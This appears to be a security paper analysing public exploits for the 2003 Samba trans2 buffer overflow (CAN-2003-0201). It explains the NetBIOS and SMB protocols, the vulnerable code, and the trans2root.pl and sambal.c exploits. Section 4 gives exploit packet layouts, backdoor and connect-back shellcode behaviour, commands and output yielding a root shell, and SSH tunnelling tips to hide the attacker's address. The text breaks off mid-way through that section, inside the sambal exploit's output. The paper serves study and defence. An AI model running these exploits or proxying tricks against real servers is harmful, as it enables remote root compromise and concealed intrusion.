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## **Exploiting Samba's SMBTrans2 Vulnerability**

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# Contents

<b>Abstract</b> .....	<b>3</b>
<b>1. Introduction to a Service Under Attack</b> .....	<b>4</b>
1.1. THE PLAYERS: PORT 139, NETBIOS, SMB, AND SAMBA .....	4
1.2. WELL KNOWN VULNERABILITIES .....	5
1.3. OBSERVING TRENDS .....	5
<b>2. Exploits for the trans2 buffer overflow</b> .....	<b>7</b>
2.1. THE VULNERABILITY .....	7
2.2. THE EXPLOITS AT A GLANCE .....	7
2.3. MORE ON TRANS2ROOT.PL .....	8
2.4. MORE ON SAMBAL.C .....	8
<b>3. Detailed Discussion of Protocols</b> .....	<b>9</b>
3.1. A BETTER INTRODUCTION TO NETBIOS, SMB, AND NBT .....	9
3.1.1. <i>NetBIOS</i> .....	9
3.1.2. <i>SMB</i> .....	10
3.1.3. <i>NBT: NetBIOS over TCP/IP</i> .....	10
3.2. TECHNICAL DETAILS.....	10
3.2.1. <i>NBNS Queries</i> .....	11
3.2.2. <i>SMB</i> .....	13
<b>4. Details of The Exploit.</b> .....	<b>14</b>
4.1 SAMBA'S BUFFER OVERFLOW BUG .....	14
4.1 ANALYSIS OF THE EXPLOITS .....	14
4.1.1 <i>trans2root.pl</i> .....	15
4.1.2 <i>sambal.c</i> .....	15
4.2 USING THE EXPLOITS.....	22
4.2.1 <i>Using trans2root.pl</i> .....	22
4.2.2 <i>Using sambal.c</i> .....	24
4.3 SAMPLE DATA FROM TEST RUNS .....	25
4.3.1 <i>Key Information on an Unexploited Samba Host</i> .....	25
4.3.2 <i>The Victim After an Attack</i> .....	26
4.3.3 <i>Traffic Analysis</i> .....	28
<b>5. Defense</b> .....	<b>36</b>
5.1 PREVENTION.....	36
5.2. DETECTING THE EXPLOITS .....	37
5.3. VENDOR ACTIONS.....	38
<b>6. Additional Information</b> .....	<b>38</b>
<b>Appendix A Source Code for Vulnerable Samba Function</b> .....	<b>39</b>
LISTING 1: SAMBA'S CALL <code>_TRANS2OPEN()</code> .....	39
<b>Appendix B Source Code for <i>trans2root.pl</i></b> .....	<b>42</b>
LISTING 2: <i>TRANS2ROOT.PL</i> .....	42
<b>Appendix C Source Code for <i>sambal.c</i></b> .....	<b>49</b>
LISTING 3: BACK DOOR SHELLCODE FOR LINUX .....	49
LISTING 4: CONNECT-BACK SHELLCODE FOR LINUX.....	51
LISTING 5: ANNOTATED <i>SAMBAL.C</i> SOURCE CODE.....	53
<b>References</b> .....	<b>79</b>

## Abstract

An exploit for a buffer overflow in Samba was widely announced in April this year. Vulnerable servers are easy to remotely find and exploit to obtain a root shell. It is probably not a coincidence that one of the network ports used by Samba is one of the top ten attacked ports on the Internet according to the Internet Storm Center, and that attacks targeting that port have been on the rise since April.

In this paper we examine the SMB protocol, the Samba implementation, an exploit known as `sambal.c`, and some variants of the exploit.

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# 1. Introduction to a Service Under Attack

## 1.1. The Players: Port 139, NetBIOS, SMB, and Samba

TCP port 139 is, at least as recently as of August 16, 2003, on the Internet Storm Center's list of Top Attacked Ports (see Figure 1).




Figure 1; Top Attacked Ports According to the Internet Storm Center [F1]

TCP port 139 is defined by the IANA [IANA1] for use by "NETBIOS Session Service". NetBIOS is a suite of network protocols that provide communication abstractions

intended to support network applications. However, NetBIOS is but an underlying layer for other protocols. This will be explained more fully later. For now, it suffices that the Server Message Block (SMB) service, which is implemented on top of NetBIOS, is one popular service that uses TCP port 139. The vulnerabilities and exploits addressed in this paper apply mainly to a particular implementation of SMB known as Samba.

SMB exists to provide network access to computer resources. For SMB, these "resources" are usually file shares and printers, although other types of resources (such as named pipes or serial ports) are possible too. Because SMB is the protocol used most often by Microsoft Windows systems to share files and printers, SMB clients and servers are quite common. If you have ever accessed shared files or printers over a network on a Windows computer, chances are you were using SMB.

Samba is a software implementation of SMB (and consequently also an implementation of a particular variant of NetBIOS) for Unix-like operating systems. Using Samba, a computer can share files and printers with Windows systems, other Samba-equipped systems, and a variety of less popular platforms. As an NBT implementation, Samba's NetBIOS Session Service, and hence its SMB services, use TCP port 139.

### **1.2. Well Known Vulnerabilities.**

There have been at least three major vulnerabilities discovered for TCP-based SMB services so far this year, each with a CVE name assigned on or near the date of general disclosure.

<b>Date</b>	<b>CVE Name</b>	<b>Description</b>
4/1	CAN-2003-0196	Multiple buffer overflows in Samba
4/4	CAN-2003-0201	Buffer overflow in Samba trans2.c
5/28	CAN-2003-0345	Buffer overflow in Windows SMB

**Table 1; SMB CVEs [CVE1]**


Each of the vulnerabilities above presents a danger of remote command execution with administrative privileges.

Another common SMB vulnerability arises due to the fact that Microsoft shipped many versions of its Windows operating system with SMB-based file sharing enabled by default, and makes it very easy to create publicly exposed shares without requiring strong passwords or giving warnings about null or weak ones. CERT Advisory CA-2003-08 [CERT1] bears witness to the effectiveness of attacks exploiting this vulnerability.

### **1.3. Observing Trends.**

The graph in Figure 2 combines Table 1 with data from the Internet Storm Center website.

## Attacks on Port 139



**Figure 2; Attack Activity on Port 139 Over Time [F2]**

The graph illustrates interesting correlations between the vulnerability announcements and attack trends. It appears that attacks on port 139 began to increase significantly right about the time that the first two vulnerabilities were announced. The trend then reached a peak just after the third vulnerability was announced. The peak activity continued for roughly one month before beginning a decline, with no new vulnerability announcements.

It looks like one or both of the vulnerability announcements in early April could have been responsible for sparking much of the interest in port 139.

Beyond that, these correlations are not sufficient to draw too many conclusions. However, they may be useful data points for anyone working on understanding the race between exploitation and patching following vulnerability announcements.

## 2. Exploits for the trans2 buffer overflow.

### 2.1. The Vulnerability

The vulnerability with which this paper is primarily concerned is CAN-2003-0201. It was first publicly reported by Digital Defense Inc. in advisory DDI-1013 [DDI1]. CERT Vulnerability Note VU#267873 [CERT2] also addresses this vulnerability and vulnerabilities associated with CAN-2003-0196.

The vulnerability exists due to a string operation that copies a client-supplied string to a fixed-size buffer without first comparing the size of the buffer to the length of the string. The buffer happens to be allocated on the stack during a function call, which means that an overflow can easily overwrite the copy of the instruction pointer that is saved on the stack. Hereafter this will be referred to as the "trans2 vulnerability", because it comes into play when Samba is handling a certain type of SMB transaction by that name.

### 2.2. The Exploits at a Glance

Of all the known exploits, the seminal ones appear to be trans2root.pl and sambal.c [ESD1], since most of the other exploits seem to have roots going back to one or both of these. We will examine the main characteristics and differences between these two, with more emphasis on the details of sambal.c, since it is the most full-featured of the two.

sambal.c can scan large address spaces for the existence of Samba servers, distinguishing them from Windows SMB services by application level characteristics (as opposed to relying on OS fingerprinting). It can also launch attacks using either connect-back or back door shell code.

trans2root.pl is a small Perl script developed by Digital Defense Inc, created to demonstrate the exploitability of Samba's trans2 vulnerability. It repeatedly connects to a victim server, using the buffer overflow to upload shell code and try a different EIP value until the shell code is successfully executed.

In addition to sambal.c and trans2root.pl, there are several well known variants. Security Focus has assigned a bugtraq ID of 7294 to the trans2 vulnerability, and maintains a list of known exploits [SF1]. There are at least seven well known exploits and variants (see Table 2).



	<b>Exploit</b>	<b>Source Code</b>	<b>Comment</b>
1	trans2root.pl	486 lines of Perl	Original known exploit
2	sambal.c	1243 lines of C	
3	samba_exp2.tar.gz	1784 lines of Python	
4	0x82-remote.54Aab4.xpl.c	556 lines of C	
5	0x333hate.c	260 lines of C	Based on trans2root.pl
6	sambal2.c	778 lines of C	Based on sambal.c
7	sambal2-mass.c	53 lines of C	Wrapper for sambal2.c

**Table 2; Known Exploits**

Some of these exploits open back doors on victim hosts, and some can instead shovel a shell back to a waiting attacker. Some employ stealth techniques, some don't. Some include ability to scan and verify remote hosts for the presence of Samba. Some have nicely organized code (samba\_exp2), most don't. Most if not all of the interesting features from these can be found in the original trans2root.pl and sambal.c exploits.

### **2.3. More on trans2root.pl**

trans2root.pl was the first openly published exploit for the trans2 vulnerability. It was published on the website of Digital Defense Inc. along with the advisory DDI-1013 [DDI1] on April 7, 2003. Perhaps due to complaints, trans2root.pl was removed from that website shortly afterward. In fact, they appear to have quietly removed even the reference to "trans2root.pl" from their advisory. But the Internet has a long memory for some things. Google readily locates other copies of both the exploit and the original version of the advisory.

Although first to be published, this exploit was probably not the first in existence for the trans2 vulnerability. The Digital Defense advisory claims that the vulnerability was discovered by analyzing a packet capture from the wild.

trans2root.pl has the following features:

1. Option to conduct a brute force search for the return address that causes the victim's EIP register to point to the exploit code.
2. Connect-back shell code to shovel a shell from the victim host to the attacking host.
3. Stealth. The shell code is encoded by exclusive-or'ing each byte with 0x93. A small decoder is prepended to the shell code to decode it at run time.
4. Very small shell code. The Linux shell code is 172 bytes, including the decoder.
5. Shell code supports Linux, Solaris, and FreeBSD all on Intel x86 hardware.

### **2.4. More on sambal.c**

Three days after trans2root.pl and the Digital Defense advisory were published, a C program named sambal.c hit the net on April 10, 2003. Because it was released a few days after the main advisory, few advisories mention this exploit. However, it is

mentioned on the Security Focus Vulns Archive under bugtraq ID 7294, and is available from many popular security sites, including Security Focus and Packet Storm.

sambal.c has the following features:

1. Scanning for Samba hosts, with ability to distinguish Windows SMB services from Samba.
2. Option to conduct a brute force search for the return address that causes the victim's EIP register to point to the exploit code.
3. Very fast. Uses many parallel processes to accelerate scanning and brute force search.
4. Create back door on victim host.
5. Connect-back shell code to shovel a shell from the victim host to another host. (This option is broken, at least for Linux, and is not available when brute force search is used.)
6. Shell code for Linux, FreeBSD, NetBSD, and OpenBSD all on Intel x86 hardware.

### 3. Detailed Discussion of Protocols

#### 3.1. A Better Introduction to NetBIOS, SMB, and NBT

The protocols and services that use TCP port 139 are in many ways legacy services. They have features, inefficiencies, and other issues that may not at first make sense within the context of modern standards and TCP/IP networks. In order to develop an understanding of these how and why these protocols work as they do, it is helpful to start with a historical perspective.

##### 3.1.1. NetBIOS

It all starts with NetBIOS. NetBIOS was originally invented in 1983 [MS1] for use by small computer networks. At that time, TCP/IP had not yet made inroads into these small networks. There were many different proprietary kinds of networks, but no standard driver API's for using them. An common abstraction layer was needed to isolate applications from details of the underlying network implementation, and NetBIOS was created to fill the need.

With respect to the OSI reference model [OSI1], NetBIOS consists of layer 4 (Transport) and layer 5 (Session) protocols. One of those protocols, the NetBIOS Session Service, is analogous to TCP: it provides connection-oriented sessions that can be treated by applications as reliable, bi-directional streams of data flowing between two networked applications.

Perhaps not surprisingly, NetBIOS also included the NetBIOS Datagram Service, which was very similar to UDP.

In a NetBIOS network, nodes address each other using a 15-character name. But originally there was no centralized name mapping service equivalent to DNS. NetBIOS

was strictly a LAN protocol, designed for networks of no more than about 80 hosts in close proximity with no routing between networks. Thus, NetBIOS packets could be sent to their destination either by broadcast to the entire network, or by letting the NetBIOS implementation perform any name-to-network address mapping in whatever fashion made sense for that implementation.

### **3.1.2. SMB**

Richard Sharpe defines SMB as "a protocol for sharing files, printers, serial ports, and communications abstractions such as named pipes and mail slots between computers." [RS1] It was conceived at least as early as 1985. It is an application level protocol that was originally implemented on top of the NetBIOS Session Service.

SMB provides two "levels" of security: user and share. User level security ties authentication credentials to individual users, meaning different users could each have their own password. Share level security ties authentication credentials to shared resources, meaning user identity is irrelevant but different resources are protected by different passwords.

### **3.1.3 NBT: NetBIOS over TCP/IP**

Eventually, TCP/IP networks became popular enough that an implementation of NetBIOS over TCP/IP, now more commonly referred to as NBT, was created, allowing applications like SMB to work over modern routed networks without having to be redesigned. RFCs 1001 and 1002 [EITF1, EITF2] were created to provide technical details on how this was supposed to work. It is within these RFCs that TCP and UDP ports were specified for NetBIOS services.

In order to provide a way for nodes on an NBT network to map NetBIOS names to IP addresses, the NetBIOS Name Service, NBNS, was created. It's specifications call for the use of UDP port 137. As a UDP service, NBNS can use broadcasts to announce and discover names on a LAN. It can also use point-to-point communication to query a central name mapping database known as a NBNS Server (or for Windows users, a WINS server) [TEC1].

UDP port 138 was specified as the port for NBT's NetBIOS Datagram Service. TCP port 139 was specified as the port for NBT's NetBIOS Session Service.

## **3.2. Technical Details**

The full details of NetBIOS, NBT, and SMB protocols are far beyond the scope of this paper. Entire volumes exist to document each of these. Yet it is possible to cover enough to understand what the trans2 exploits do, and how they work. Even this will be lengthy and admittedly a little tedious. As a note to the reader: if you are not interested in low-level details of how the exploits communicate with Samba, you may prefer to skip to section 4.

### 3.2.1. NBNS Queries

As we have seen, TCP port 139 is not an isolated service. It is part of NBT, which also uses UDP ports 137 and 138. It is common for SMB clients to access NBNS on UDP port 137 before accessing SMB on TCP port 139. The `sambal.c` exploit makes use of this service, which justifies taking a look at how it works.

To send an NBNS query to another NBT node, a query packet is sent to UDP port 137 containing an NBNS transaction header followed by questions. Any nodes responding to such a query will return a packet containing an NBNS transaction header followed by answers.

#### 3.2.1.1. NBNS Transaction Header

The header is 96 bytes long, and breaks down according to Table 3.

Bits	Field
0-15	Transaction ID
16-31	Flags
32-47	Question Count
48-63	Answer Count
64-79	Authority Record Count (Never used)
80-95	Additional Resource Record Count

**Table 3; NBNS Header Fields [CRH1]**

The interesting fields in this discussion are the Transaction ID, Flags, and Question Count. The Transaction ID is simply any unique number chosen by the node that generates a request. When responding, nodes will copy the ID in their responses so the query sender can associate responses with requests.

The Question Count indicates how many name queries are included in the packet, but in practice is generally limited to either 0 or 1.

The 16 bits of the Flags field are further partitioned according to Table 4.

Bits	Field
0	Response flag
1-4	Opcode
5-11	NM_FLAGS
12-15	Return code

**Table 4; NBNS Header Flags [CRH1]**

If set, the response flag indicates the packet is a response. Otherwise, it is a query.

The Opcode field indicates the transaction type. A transaction type of 0 indicates a name query. Other transaction types are used to manage the NBNS database by handling the registration and release of names with a name server.

The NM\_FLAGS field contains various qualifiers, including the broadcast flag, which indicates whether the packet was sent to a broadcast address.

The Return Code is a four bit space the meaning of which depends on the transaction type. For name queries, the Return Code should be zero. For responses to name queries, it will be zero if no errors occurred, nonzero otherwise.

### **3.2.1.2. NBNS Questions**

A question contains three fields: A NetBIOS name followed by a 16-bit question type and a 16-bit question class.

The NetBIOS name is encoded using a scheme called "Second level encoding". The details of this encoding scheme are beyond the scope of this paper, but are defined by RFC 883 (page 31). Fortunately, ethereal does a nice job of decoding names from NBNS packet dumps and is a useful shortcut versus doing it by hand. There is one special name which, as will be shown, is used by sambal.c. If the (decoded) name is an asterisk, then instead of first testing for a match between the received name and it's own, the receiver of the query should go ahead and respond with information about itself.

The question type is either 0x20 indicating a name query, or 0x21 indicating a status request. A few other values are allowed by the standard, but according to [CRH1], they are not used in practice. A status request asks a host for a variety of information, including the type of services it hosts.

The question class is always 0x0001. This conveys that the question is in the "Internet class", although no other classes have ever been defined.

### **3.2.1.3 NBNS Responses to Questions**

Responses to queries have a header similar to the one in the query. The main differences are that the response flag will be set, and the Question Count will be zero, while the Answer Count will be 0x0001.

Following the header, responses have a resource record that bears question type and class fields identical to those from the question. The resource record also contains few other fields and a "data" section, the contents of which vary depending on whether it corresponds to a name or status query.

For a name query, the data section will indicate whether the queried name applies to a unique node or a group, whether the node broadcasts queries or uses a central NBNS server, and the node's IP address. For a status query, the data section will contain an array of up to 256 results, followed by some "statistics".

The statistics are by and large not used, although Microsoft implementations will populate the first six bytes with the node's Ethernet MAC address. Samba fills the

entire statistics field with zeroes. As will be seen, this is how `smbal.c` is able to distinguish between Windows SMB and Samba hosts.

### 3.2.2 SMB

In 1996 SMB was renamed CIFS, which stood for Common Internet File System. There is a good, 150 page technical reference for CIFS at [http://www.snia.org/tech\\_activities/CIFS/](http://www.snia.org/tech_activities/CIFS/) [SNIA1]. SMB is far too complex to cover in detail here. Instead, the following description will be confined to just the important parts of transactions actually used by `trans2root.pl` and `smbal.c`.

The header of an SMB message contains the fields shown in Table 5.

Byte	Description
0-3	Constant protocol identifier, 0xff534d42.
4	SMB Command
5	Error Class
6	Reserved
7-8	Error Code
9-23	Reserved
24-25	Resource ID, referred to as a Tree ID, or just TID
26-27	PID
28-29	User identifier, UID
30-31	MID

**Table 5: SMB Header [TEC1]**

Like NBT, HTTP, and many other protocols, SMB supports many different types of messages, each distinguished by a small amount of information near the beginning. This is the purpose of the SMB Command.

The TID is used in requests that reference a server resource.

The PID and MID are numbers chosen arbitrarily by a client. When responding to a request, an SMB server will echo the values supplied by the client.

The UID is a number assigned by the server to the client early in an SMB session. The client echoes the number back in all subsequent requests.

Before an SMB client and server can begin doing "real" work, they must exchange session setup messages. The SMB Command code for session setup is 0x73. The client chooses a PID and MID and sends these in the session setup request. The server sends back a response with the same command code, and indicates whether any errors occurred or the session may proceed. The session setup messages may also contain data for authenticating the client. The `trans2` exploits do not bother to authenticate because the Samba vulnerability is exposed to anonymous access, even if Samba is not configured with a guest account.

Once a session is established, the client may then issue a "Tree Connect" request. This is analogous to opening a file in a program: the program specifies the path to the file and the system provides a file handle. In SMB, the client provides a path to a resource (for example, "\\MYSERVER\MYFILES") in a Tree Connect request. If the request succeeds, the server's response will provide a valid TID.

Once a session and TID have been obtained, a very wide variety of operations may be performed, including a special type of transaction named "trans2", with SMB Command code 0x32. This is the transaction that causes Samba to use vulnerable code associated with CAN-2003-0201. The trans2 transaction exists to provide access to special remote procedure calls that do things like get and set file attributes, create directories, and a host of other functions. However, Samba's vulnerable code is executed before the transaction request can even be fully interpreted.

## 4. Details of The Exploit.

### 4.1 Samba's Buffer Overflow Bug

Samba's vulnerable code appears Listing 1, in Appendix A. The lines of code most pertinent to the vulnerability are as follows (ellipsis indicate omitted code):

```
1  static int call_trans2open( ...
2      ... )
3  {
...
15     char *pname;
16     int16 namelen;
17
18     pstring fname;
...
46     namelen = strlen(pname)+1;
47
48     StrnCpy(fname,pname,namelen);
```

As this clearly shows, data is copied from a memory location referenced by `pname`, to a buffer named `fname` which is allocated on the call stack, with no prior check against the buffer's capacity. Incidentally, the size of the buffer is defined elsewhere as 1024 characters.

Because the data copied to the `fname` buffer is limited by a `strlen()` call (line 46), exploits can not use the overflow to cause any null bytes to be inserted directly into Samba's stack. Any other byte values are reliably copied.

### 4.1 Analysis of the exploits

In order to develop a strong understanding of how the exploits take advantage of the trans2 vulnerability, we look directly to their source. The main focus will be on `sambal.c`, but with a brief look at `trans2root.pl` first, due to a significant difference.

#### 4.1.1 trans2root.pl

Before beginning the analysis of `sambal.c`, it is instructive to take a brief look at how `trans2root.pl` works. The connect-back functionality in `sambal.c` is broken, and even when fixed it is less useful than that of `trans2root.pl`. Where `sambal.c` breaks down, `trans2root.pl` gets it right.

The source for `trans2root.pl` is included in Listing 2, in Appendix B.

`trans2root.pl` binds a socket to port 1981 on the local host. The IP address of the attacking host is embedded into the shellcode, enabling the shellcode to connect back to the attacker. A process is forked to perform the brute force search, while the parent process waits and listens for a connection on port 1981. When the subprocess succeeds in running the shell code on the victim, the shell code connects back to `trans2root.pl` on port 1981. The subprocess is then sent a `USR2` signal, causing it to stop further exploit attempts. `trans2root.pl` then enters a loop for copying standard input and output to and from the socket, giving the user control of the remote shell.

#### 4.1.2 sambal.c

Source for `sambal.c` appears in Appendix C. It is divided into three listings: One for the disassembled back door shellcode (for Linux), one for the disassembled connect-back shellcode (again, for Linux), and finally one for `sambal.c` itself. All of these have been annotated with many additional comments explaining what they do and how they work in detail.

##### 4.1.2.1 Back Door Shellcode

Listing 3 in Appendix C gives source code that, when assembled, produces binary data that matches the `linux_bindcode` array in `sambal.c` (Listing 5, lines 154-168). The algorithm used by the source is fairly simple:

1. Set the effective UID to root. (Samba sets the effective UID of the session process to that of the guest user during anonymous logins, but leaves the real UID as root.)
2. Call `sys_socket()` to create a network socket.
3. Call `sys_bind()` to bind the socket to TCP port 45295.
4. Call `sys_listen()` to listen for connections to the socket.
5. Call `sys_signal()` to cause signals to be ignored when child processes die.
6. Loop forever
7.     Accept a connection from the socket.
8.     `fork()` a child process, connect it's standard IO to the socket, and let it  
       `exec() /bin//sh.`
9.     Close the socket in the parent process.
10. End loop.



This is typical back door shell code, and probably not unique to this exploit. It creates an unauthenticating, plain text shell service on port 45295. The shell can be accessed by connecting to it with a program like netcat. For example:

```
$ nc victim.host.name 45295
```

Note: plain telnet will not work, because it may insert extra characters into the data stream, intended for interpretation by tty's and terminal emulators.

Because the shell is handled by a `fork()` and `exec()` combination and the parent process returns to accepting new connections, the back door service can be accessed repeatedly without any need to re-exploit Samba, until the infected Samba process is somehow killed.

#### 4.1.2.2 Connect-Back Shellcode

Listing 4 in Appendix C gives source code that, when assembled, produces binary data that matches the "linux\_bindcode" array in `sambal.c`. The algorithm used by the source is:

1. Set the effective UID to root.
2. Call `sys_socket()` to create a network socket.
3. Call `sys_connect()` to connect to port 45295 at the IP address given on line 26.
4. Connect standard IO to the socket, and call `exec()` on `//bin/sh`.
5. Call `sys_exit()`.

This is simpler than the previous program. It makes a TCP connection back to a waiting socket somewhere, shovels the shell, then exits. Unlike the previous example, it does not fork any processes, and does not leave a lingering socket or process once the shell exits.

The IP address to which the connection is made is stored at offset 0x2b (decimal 43) from the beginning of the (assembled) shellcode. Before sending the shellcode to a vulnerable Samba server, `sambal.c` needs to patch in the desired IP address to this location at run time. However, on line 1088 of the annotated `sambal.c` (Listing 5 in Appendix C), the author got the offset wrong. The connect-back code in `sambal.c` is thus effectively broken. As verified in tests, correcting this error is necessary to get `sambal.c` to work in connect-back mode.

#### 4.1.2.3 Main Program

Listing 5 in Appendix C is annotated source code for `sambal.c`. The original source is sparsely commented and not conducive to efficient study. The extra comments in Listing 5 (each denoted with a "BCD:" prefix) document all important actions and details of `sambal.c`. However, in places where `sambal.c` contains two versions of similar code, one for BSD variants and one for Linux, only the Linux code is annotated. While

reading this section, it may be helpful to keep a bookmark in the appendix as the code will be referenced frequently.

The `sambal.c` exploit has several features to explore. It supports scanning options for locating potentially vulnerable hosts, searching for the right return address with which to overwrite EIP, work parallelization, subprocess, and the two alternative types of shell code seen in the previous sections. Figures 3a-3b illustrate the program logic.




Figure 3a; Main Logic Flow for `sambal.c`





Figure 3b; Logic Flow for Brute Force Return Address Search



**Figure 3c; Logic Flow for Using a Single Specified Return Address**

The main program begins on line 1,025. This function is very long and difficult to read. It handles all of the logic for command parsing, scanning, brute force and non brute force modes, and more. It would have been nice of the author to break this up into reasonable sub-functions, but perhaps his goal was not to provide an educational experience.

The main routine begins with some very commonplace command line argument parsing. Notice lines 1,079-1,082, which contain a bug. These lines are used during the processing of the command line option that tells sambal.c what IP address to use for the connect-back shellcode. This code prevents valid IP addresses from being used as connect-back points if they contain a zero-byte. For example, the address 192.168.0.52 would be caught and treated as invalid, causing the program to terminate.

A worse bug appears right after that on lines 1,084 through 1,091. This is where the author mistyped or miscalculated the offset of the IP address in the connect-back shellcode. The added comments in the source explain how to fix this.

Other than these two bugs, the command line parsing is not very interesting, and ends at line 1,160.

The program then determines whether to enter scanning mode. In scanning mode, it enters an infinite loop (beginning on line 1,174). The scan loop either chooses a random /24 block of IP addresses, or else increments a predefined value depending on preferences read from the command-line. A sub-loop is then used to iterate over the IP addresses in the /24 block, using a limited number of child processes to accelerate the work. (The details of the method for controlling the child processes is documented in the annotated source.)

In scanning mode, each child process calls the `is_samba()` function, passing it the IP address of a target host, to determine whether the target is running Samba, Windows, or nothing. The `is_samba()` function sends a NetBIOS node status query to UDP port 137 of the target host, then reads the first six bytes of the statistics section from the response (see section 3.2.1.3). The `is_samba()` function returns a status indicating whether these bytes appeared to come from Samba (all zeroes), from a non-Samba server (non-zeroes), or could not be read.

If instead of the scan mode, an exploit mode was selected on the command line, the main program bypasses the scanning code and picks up at line 1245. From here there are two major paths the program can take: use a shellcode with a specified return address, or conduct a "brute force" search for a return address that works.

When working with a specific return address, the program supports using the default back door shellcode, or overriding that default with connect-back shellcode (lines 1,268-1,286).

When conducting a brute force search, connect-back is not supported. This is because `sambal.c` does not have any logic for determining when a connect-back exploit succeeds. Unlike `trans2root.pl`, `sambal.c` does not attempt to listen on the connect-back port and thus has no automatic way to determine when the search should terminate. If a user selects both brute force mode and connect-back mode, the connect-back option will be silently ignored.

Brute force exploit mode uses a process forking loop (lines 1,450-1,561) similar to the one in the scanning mode to run a limited number of child processes, each of which attempts to exploit the target host with a different return address then connect to the back door port, 45295. Whenever a child succeeds in connecting to the backdoor port (regardless of whether it was that child's attempt that succeeded), it sends a SIGUSR1 to the parent process and exits. A signal handler in the parent process will then re-connect to the back door and present a remote shell to the user.

Both the brute force mode and the non-brute force exploit modes invoke the same routines to launch attacks: first they invoke `start_session()`, then either `exploit_normal()` or `exploit_openbsd32()` depending on the target type option from the command line.


The `start_session()` function (lines 792-893) creates a connection to TCP port 139, and sends an SMB Session Setup message, generating an anonymous SMB session. Then it sends a Tree Connect request to access a resource named `ipc$`. (This is a special resource which exists on all Samba servers, and is accessible to anonymous users.) Once `start_session()` has done its job, the server is ready to be exploited.

The `exploit_normal()` function (lines 895-966) then constructs 3,999 byte message containing the information shown in Table 6.

Offset	Contents
0	NetBIOS header
4	SMB header
32	Some necessary SMB trans2 related data
91	1,005 NOOP instructions
1096	0xEB70 ( <code>jmp 0x70</code> bytes ahead)
1098	Many copies of the return address
1194	96 NOOP instructions
1800	Shellcode
1800+sizeof(shellcode)	NOOP instructions and zero bytes

**Table 6; Malicious Packet Constructed by `exploit_normal()`**

The message is then sent over the network. If the return address was good, then EIP will end up pointing to one of the NOOP areas. If the EIP lands in the first NOOP area, the 0xEB70 is executed as a `jmp` instruction that causes code execution to skip over the copies of the return address, ensuring execution of Shellcode.



**Figure 4; Protocol Sequence for Trans2 Exploits**

## 4.2 Using the exploits

### 4.2.1 Using trans2root.pl

Unlike `sambal.c`, `trans2root.pl` does not include scanning capability. However, `nmap` handily fills this need:

```

$ nmap -sT -p 137,139 -O 192.168.0.51

Starting nmap V. 3.00 ( www.insecure.org/nmap/ )
Interesting ports on kid.localdomain (192.168.0.51):
(The 1 port scanned but not shown below is in state: closed)
Port      State      Service
139/tcp   open       netbios-ssn
Remote operating system guess: Linux Kernel 2.4.0 - 2.5.20
Uptime 0.318 days (since Thu Aug 21 20:47:19 2003)

Nmap run completed -- 1 IP address (1 host up) scanned in 5 seconds
$
  
```

The `nmap` tool does not do application-level testing like `sambal.c`. Nevertheless, here it identifies a Linux host with the NetBIOS Session Service running, which is more than likely to be Samba.

The `-sT` option tells `nmap` to perform a full TCP connect scan; `-p 137,139` indicates two ports to be scanned; `-O` tells `nmap` to attempt to identify the target's operating system. Notice that TCP port 137 is included in the scan, even though NetBIOS does not use TCP port 137. TCP port 137 is likely to be closed on any system. The OS fingerprinting feature of `nmap` works best when there are data from at least one open and one closed ports on a target.

Using the `trans2root.pl` program itself is straightforward. As a Perl program, it requires no compilation. The external modules on which it depends are standard modules included with Perl itself. The following sample session demonstrates use of `trans2root.pl` to attack a host with IP address 192.168.0.51 from a host with IP address 192.168.0.52.

```
$ ./trans2root.pl -M B -t linx86 -H 192.168.0.52 -h 192.168.0.51
[*] Using target type: linx86
[*] Listener started on port 1981
[*] Starting brute force mode...
[*] Return Address: 0xbfffffff[*] Sending Exploit Buffer...
[*] Return Address: 0xbffffdfff[*] Sending Exploit Buffer...
[*] Return Address: 0xbffffbfff[*] Sending Exploit Buffer...
[*] Return Address: 0xbffff9fff[*] Sending Exploit Buffer...
[*] Return Address: 0xbffff7fff[*] Sending Exploit Buffer...
[*] Return Address: 0xbffff5fff[*] Sending Exploit Buffer...
[*] Return Address: 0xbffff3fff[*] Sending Exploit Buffer...
[*] Return Address: 0xbffff1fff[*] Sending Exploit Buffer...
[*] Return Address: 0xbffffefff[*] Sending Exploit Buffer...
[*] Return Address: 0xbffffedff
[*] Starting Shell 192.168.0.51:32771

--=[ Welcome to kid.localdomain (uid=0(root) gid=0(root) groups=99(nobody)
)
pwd
/tmp
id
uid=0(root) gid=0(root) groups=99(nobody)
```

The command line shown applies the `-M B` option to invoke the brute force search feature. The `-t` option specifies the type of remote host to be attacked. The `-H` and `-h` options are used to give the addresses of the local host and victim host, respectively.

The `trans2root.pl` exploit allows the local host's IP address to be specified on the command line, providing an interesting capability. Instead of using the real IP address of the local host, a user could specify the address of a different host, which would have an IP tunnel ready to proxy TC connections on port 1981 back to the real local host. Creating such a tunnel is easy. For example, using the tunnel feature of SSH:

```
# On the trans2root.pl attack host:
$ ssh -R 1982:localhost:1981 proxy.host.net \
  "ssh -g -L 1981:localhost:1982 localhost"
```



This command creates a TCP tunnel from port 1981 on the proxy host to port 1982 on the proxy host, and from port 1982 on the proxy host to port 1981 on the attack host. The reason two tunnels are needed instead of one is the OpenSSH software with which this was tested does not allow remote forwarded ports to bind to external IP addresses. However, the `-g` option does allow locally forwarded ports to do so.

The upshot of all this is that connect-back attacks can be carried out from behind a firewall, since no inbound connection to the attacker is really needed. This is desirable for two reasons: (1) firewalls may help provide a degree of anonymity, and (2) connect-back attacks don't leave a back door wide open on the victim host.

Taking this one step further, adding a tunnel the other way through a proxy host, relaying connections on TCP port 139 to the victim, would allow the entire attack to be proxied, leaving no sign of the attacker's real IP address on the victim host.

#### 4.2.2 Using `sambal.c`

The `sambal.c` exploit must be compiled. An executable file named `sambal` may be created with the `gcc` command:

```
$ gcc -o sambal sambal.c
```

The following shows `sambal` being used to scan a network for SMB hosts:

```
$ ./sambal -S 192.168.0
samba-2.2.8 < remote root exploit by eSDee (www.netric.org|be)
-----
+ Scan mode.
+ [192.168.0.51] Samba
+ [192.168.0.100] Windows
```

The option `-S 192.168.0` tells `sambal` to scan IP addresses sequentially beginning with 192.168.0.1. Caution is advised when using this scan mode: regardless of the starting address, `sambal` will continue to scan until it reaches IP address 254.254.254.254. Thus, even a scan intended to probe only a private network can easily get out of hand. Because of this, use of `sambal` for authorized vulnerability scanning is not recommended. Instead, `nmap` should be used as demonstrated in the previous section.

Once a target host is selected, `sambal` may be used to attempt to exploit it. For example:

```
$ ./sambal -b 0 192.168.0.51
samba-2.2.8 < remote root exploit by eSDee (www.netric.org|be)
-----
+ Bruteforce mode. (Linux)
+ Host is running samba.
+ Worked!
-----
```

```
*** JE MOET JE MUIL HOUWE
